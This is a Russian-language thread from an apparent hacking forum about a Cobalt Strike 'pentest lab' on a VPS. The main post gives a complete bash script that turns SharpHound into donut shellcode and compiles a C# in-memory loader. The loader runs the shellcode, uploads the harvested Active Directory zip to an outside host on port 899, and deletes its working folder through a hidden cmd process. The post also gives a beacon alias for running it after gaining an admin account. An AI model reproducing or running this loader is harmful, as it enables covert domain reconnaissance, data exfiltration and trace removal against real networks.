What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Не ждали? XD Как превратить VPS в лабораторию пентеста с интерфейсом и безопасной работой внутри.

jwilcox сказал(а):
спасибо за твою работу. Я вроде все делал как вы написали но вот что мне показывает. Какая может быть причина?? Что надо исправить с моей стороны?
Нажмите, чтобы раскрыть...

https://github.com/l4ckyguy/ukn0w/blob/40c4674b46d824be8bb5f86d30f66995473b709e/server/start.sh#L24

вряд-ли бы я забыл установить композ, да и докер вцелом. это первые строчки, с которых начинается установка. только что опять проверил - все хорошо. следуй за белым кроликом (x4k.tools | Системные Требоания) и у тебя обязательно все получится
 
автору однозначно плюс за работу проделанную и потраченное время! все пашет на ура. для всех с вопросами - самое первое, если что не получается - курите мануал, хак очень подробно все расписал!
 
12 процессоров, 48 ОЗУ и SSD

не проще ли взять выделенный сервер вместо впс? такой конфиг впса будет гораздо дороже выделенного, или я чего то не понимаю?

в случае работы всего 1 докер контейнера, такой конфиг можно делить на 5 ?
 
Итак, как я и обещал - годная статья - выкладываю патч XD. Давайте на эту же тему) Итак:
https://github.com/l4ckyguy/ukn0w/c...01790ef53aa9406f99b6a75dfff7f146&diff=unified

V2.1 - BloodHound
БладХаунд - легендарная собака, многие хотели, но не смогли.

Я сделал следующее: установил сервис на хост (точнее несколько), который слушает на :899 и принимает .зипы, которые генерирует ингестор. Ингестор в свою очередь выполняется fileless, через execute-assembly. Собирается пошагово так: скачивается последний официальный компилированный SharpHound.exe, с помощью donut'a преобразуется в шеллкод с добавлением некоторых аргументов для запуска. Было несколько вариантов, удобнее всего был метод с ReflectiveLoader. Но решил сделать csharp, подумал так будет правильнее. Использовал самый простой RunPE и добавил свои функции. После исполнение шеллкода в памяти, полученный зип-архив "переправляется" на хост, где его и ждет вышеназванный :899 для разбора и анализа. После рабочая папка удаляется. Остальное делает sleep (кто не вкурсе - Рафаель создал свой язык, на котором и написан aggressive script). Немного про БладХаунд: утилита, которая оказывает неоценимую помощь в lateral moving. Строит потрясающие графики, собирает огромное количество информации. В графическом интерфейса, помимо просмотра этой инфы, Вы с легкостью можете узнать "путь" к любому виду Админов и других сказочных существ. Чтобы Вам было проще добираться - стрелки смазаны специальным зельев, которое по клику правой кнопкой мыши в пункт "Help", как ни странно, но предоставляет РЕАЛЬНУЮ помощь, в виде прямых команд, без разгадывания квестов и такие же, без доли стеснения References.
Нажмите, чтобы раскрыть...

BloodHound Если сказать проще - позволяет без боли, унижений, а главное кучи потраченного времени на ковыряние сети получить "Главный Приз". Итак, основная его действующая часть, которая инициализируется до запуска клиента кс.

Bash: Скопировать в буфер обмена
Code:
#!/bin/bash

rndname="$(curl -s https://gitlab.com/x4k/pub/-/raw/master/names.txt | shuf -n1)"
rm -r /opt/cobaltstrike/custom/sweet/output &> /dev/null ; mkdir /opt/cobaltstrike/custom/sweet/output
wget -qO /tmp/SharpHound.exe https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
donut -a2 -z2 -i/tmp/SharpHound.exe -p"--NoSaveCache --ZipFilename report --CollectionMethod All" -o /tmp/loader.bin
XBYTES="$(xxd -i /tmp/loader.bin | tail -n1 | cut -d'=' -f2 | head -c-2 | sed 's+ ++g')"

cat<<EOF>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
using System;
using System.IO;
using System.Linq;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;

namespace ShellcodeLoader
{
class Program
{
static void Main(string[] args)
{
byte[] x64shellcode = new byte[$XBYTES] {
EOF

xxd -i /tmp/loader.bin | tail -n+2 | head -n-1 >> /opt/cobaltstrike/custom/sweet/output/$rndname.cs

cat<<'EOF'>>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(ulong)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);

IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;

hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);

for (int i = 1; i <= 5; i++) {
Console.WriteLine("Thread paused for {0} second", 5); Thread.Sleep(1000); Console.WriteLine("i value: {0}", i);
}

string tpath = @"C:\ProgramData\mydata" ; var directory = new DirectoryInfo(tpath); string endfile = @"C:\ProgramData\mydata\report.zip";
var myFile = (from f in directory.GetFiles("*.zip") orderby f.LastWriteTime descending select f).First();
string mile = "" + myFile; File.Move(mile, endfile);

System.Net.WebClient Client = new System.Net.WebClient(); Client.Headers.Add("Content-Type", "binary/octet-stream");
string ServerIp = @"http://zxlab.io:899/upload?token=f9403fc5f537b4ab332a";

if (File.Exists(endfile)) {
var result = Client.UploadFile(ServerIp, "POST", endfile); Console.WriteLine("Upload complete! Enjoy XD"); File.Delete(endfile);
} else {
Console.WriteLine("ERROR! CANNOT DETERMINE USERS DOMAIN OR CANNOT CONECT TO LDAP!"); return;
}

Process abominable = new Process(); abominable.StartInfo.FileName = "cmd.exe";
abominable.StartInfo.Arguments = @"/c timeout 10 && rd /q /s C:\ProgramData\mydata";
abominable.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; abominable.Start();

return;
}

[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);

[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
uint lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
ref uint lpThreadId);

[DllImport("kernel32.dll")]
private static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);

public enum StateEnum
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_FREE = 0x10000
}

public enum Protection
{
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
}
}
}
EOF

sed -i "s+zxlab.io+$HOSTNAME+g" /opt/cobaltstrike/custom/sweet/output/$rndname.cs
mcs -platform:x64 -t:winexe /opt/cobaltstrike/custom/sweet/output/$rndname.cs -out:/opt/cobaltstrike/custom/sweet/output/$rndname.exe
cp /opt/cobaltstrike/custom/sweet/sweet.bak /opt/cobaltstrike/custom/sweet/sweet.cna ; sed -i "s+Bloodhound+$rndname+g" /opt/cobaltstrike/custom/sweet/sweet.cna

И простейший алиас запуска в терминале бикона:


Java: Скопировать в буфер обмена
Code:
alias easyblood {
brm($1, "C:\\ProgramData\\mydata");
bmkdir($1, "C:\\ProgramData\\mydata");
bcd($1, "C:\\ProgramData\\mydata");
bexecute_assembly($1, "custom/sweet/output/Bloodhound.exe");
}

/usr/local/bin/cobalstrike был изменен таким образом:

Bash: Скопировать в буфер обмена
Code:
#!/bin/bash
export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/
sudo /opt/cobaltstrike/custom/sweet/makeblood.sh && sleep 2 | zenity --window-icon="/usr/share/icons/Papirus/128x128/apps/clamav.svg" --progress --auto-kill \
--auto-close --text='D0nt w0rry. Do b4d th1ngs..' --pulsate --title="_unkn0wn:::CobaltStrike" --no-cancel --width="300"
cd /opt/cobaltstrike
xhost +
./start.sh

Теперь, все, что Вам необходимо сделать: получить АдминАккаунт и выполнить в консоли бикона easyblood. Имейте ввиду, что собака работает только в контексте домена

Помимо >@ изменению подверглись многие аспекты "скрипта", увидеть полный и подробный список которых Вы можете в последнем коммите. XD


Очень хочется отметить, что все это протестировано, опробовано и заснято на видео, которое я покажу немного позже ;-) Конкурс (и мой тоже) продолжается ;-)

https://github.com/l4ckyguy/ukn0w/commit/0823f51d01790ef53aa9406f99b6a75dfff7f146
FileBrowser
 
Top